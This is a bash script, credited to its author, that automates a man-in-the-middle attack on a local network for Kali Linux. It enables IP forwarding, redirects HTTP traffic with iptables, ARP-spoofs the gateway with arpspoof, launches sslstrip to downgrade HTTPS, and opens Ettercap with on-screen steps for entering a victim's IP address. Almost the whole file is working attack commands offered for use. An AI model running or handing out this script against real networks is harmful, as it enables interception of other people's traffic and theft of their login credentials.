MITM [automatic] kali linux script

#coded by atulh4c
#automatic in kali linux
#work in other distros by install kali linux tool
#need to be in root-mode


# Colors
ESC_SEQ="\x1b["
COL_RESET=$ESC_SEQ"39;49;00m"
COL_RED=$ESC_SEQ"31;01m"
COL_GREEN=$ESC_SEQ"32;01m"
COL_YELLOW=$ESC_SEQ"33;01m"
COL_BLUE=$ESC_SEQ"34;01m"
COL_MAGENTA=$ESC_SEQ"35;01m"
COL_CYAN=$ESC_SEQ"36;01m"
echo ""
echo ""
echo -e "  $COL_RED           + ====================MITM=================+$COL_RESET"
echo -e "  $COL_BLUE          +             Created by atulh4c           +$COL_RESET"
echo -e "  $COL_RED           + =========================================+$COL_RESET"
echo ""
echo ""

echo -e "$COL_MAGENTA #MITM ATTACK USING SSLSTRIPPING AND ETTERCAP $COL_RESET"
echo ""
echo -e "$COL_YELLOW #Know your gateway ip"
echo ""
echo " #At Ettercap Select Unified Sniffing > Select Interface "
echo -e " #scan for host > show host list > $COL_RED set gatewayip at targer 1 and victim ip in target 2 $COL_YELLOW"
echo  -e " #Make sure you have edited $COL_CYAN /etc/ettercap/etter.conf (Remove # tag form commands below iptables)$COL_RESET"
echo""
echo -e "$COL_RED Press ENTER to continue $COL_RESET"
read choice
echo ""
echo "Enter interface"
read interface
echo ""
echo -e "$COL_MAGENTA Finding gateway ip"
sleep 1
echo ""
route -n
echo ""
echo -e  "$COL_RESET Enter gateway ip"
read gip
echo ""
echo "Doing ip forward"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo ""
echo "Setting up IP-Tables"
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
echo ""
echo "Arp spoof the AP"
sleep 1
gnome-terminal -e "arpspoof -i $interface $gip"
sleep 2
echo "Setting up SSLSTRIP"
gnome-terminal -e "sslstrip -f -p -k 10000"
sleep 2
echo ""
echo "Launching Ettercap Graphical"
sleep 1
ettercap -G